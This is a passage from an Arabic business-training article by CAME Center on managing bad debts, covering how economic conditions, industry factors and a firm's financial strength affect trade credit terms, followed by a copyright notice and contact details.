        يقصد بالظروف الاقتصادية  هنا الحالة الاقتصادية عندما يحتاج إلى التمويل وبصفه عامة في حالات الكساد تكون هناك صعوبة في الحصول على الائتمان التجاري، وفى حالة الحصول على ائتمان تجاري فإن شروطه غالبا ما تكون صعبة ويرجع السبب أن الموردين أنف6سهم يحصلون على الأموال اللازمة بصعوبة وبالتالي فإنهم لا يمنحون تسهيلات بسهولة ، وفى حالات معينة قد لا يستطيع المورد أن يمنح ائتمان وبصفة خاصة لهؤلاء الذين يؤجلون السداد ،  ولهذا فإن معظم المنشآت تحاول ان تحافظ على سداد الائتمان .

 

عوامل الصناعة :

        العنصر  في تحديد الائتمان التجاري هو الامتيازات العملية للصناعات التى يعمل بها البائع أو المشتري ، فهناك  ارتباط وثيق بين مدة الائتمان وبين عمر السلطة فعلي سبيل المثال مدة الائتمان للسلع الغذائية قصيرة في حين أن السلع المعمرة تتمتع بفترة ائتمان أطول وفى صناعات أخري قد يتنافس المورد والمشتري ونتيجة ذلك فهناك تأثيرات العرض والطلب فإذا أفسح حجم السوق التنافسى فإن شروط الائتمان تكون ميسرة وعلى عكس هذا تكون شروط الائتمان أصعب في حالة التنافس بين عدد محدود من الموردين والمشترين وبالإضافة إلى هذا فإن حجم الأعمال بالنسبة للمشتري ودرجة الخطر المرتبطة بحجم الأعمال يؤثر على شروط منح الائتمان .

طبيعة المنشأة :

        بالإضافة إلى الظروف الاقتصادية وعوامل الصناعة هناك عوامل أخري من داخل المنشأة والتى تؤثر على الائتمان .

        أحد هذه العوامل هو القوة المالية بالنسبة للمورد والمشتري فلو أن المشتري لديه قوة حالية فإن يستطيع أن يحصل على شروط ائتمان أفضل وذلك لانخفاض درجة الخطر بالنسبة للمورد ( خطر عدم السداد ) بالمثال إذا كان المورد لديه قوة مالية فإنه يستطيع أن يمنح شروط ائتمانية أفضل .

عنصر آخر وهو متعلق بالقوة المالية للمورد والمشتري وهو الضعف المالي ، حيث أن ائتمان المنشأة التى تعاني من ضعف مالي تحتاج إلى شروط أفضل ولكنها لا تستطيع أن تحصل عليه إلا في حالة وجود منافسة قوية ، والمنشأة المانحة للائتمان قد تقوم بعمل تسجيل تاريخي للحاصلين على الائتمان  ومن خلال هذا نجد أن المنشأة التى تقوم بالسداد الفوري في الماضى تحصل على شروط ائتمان أفضل من المنشأة بطيئة السداد .

***

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمي لإدارة الديون المتعثرة

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/bad_debt_management-1/feed/ 0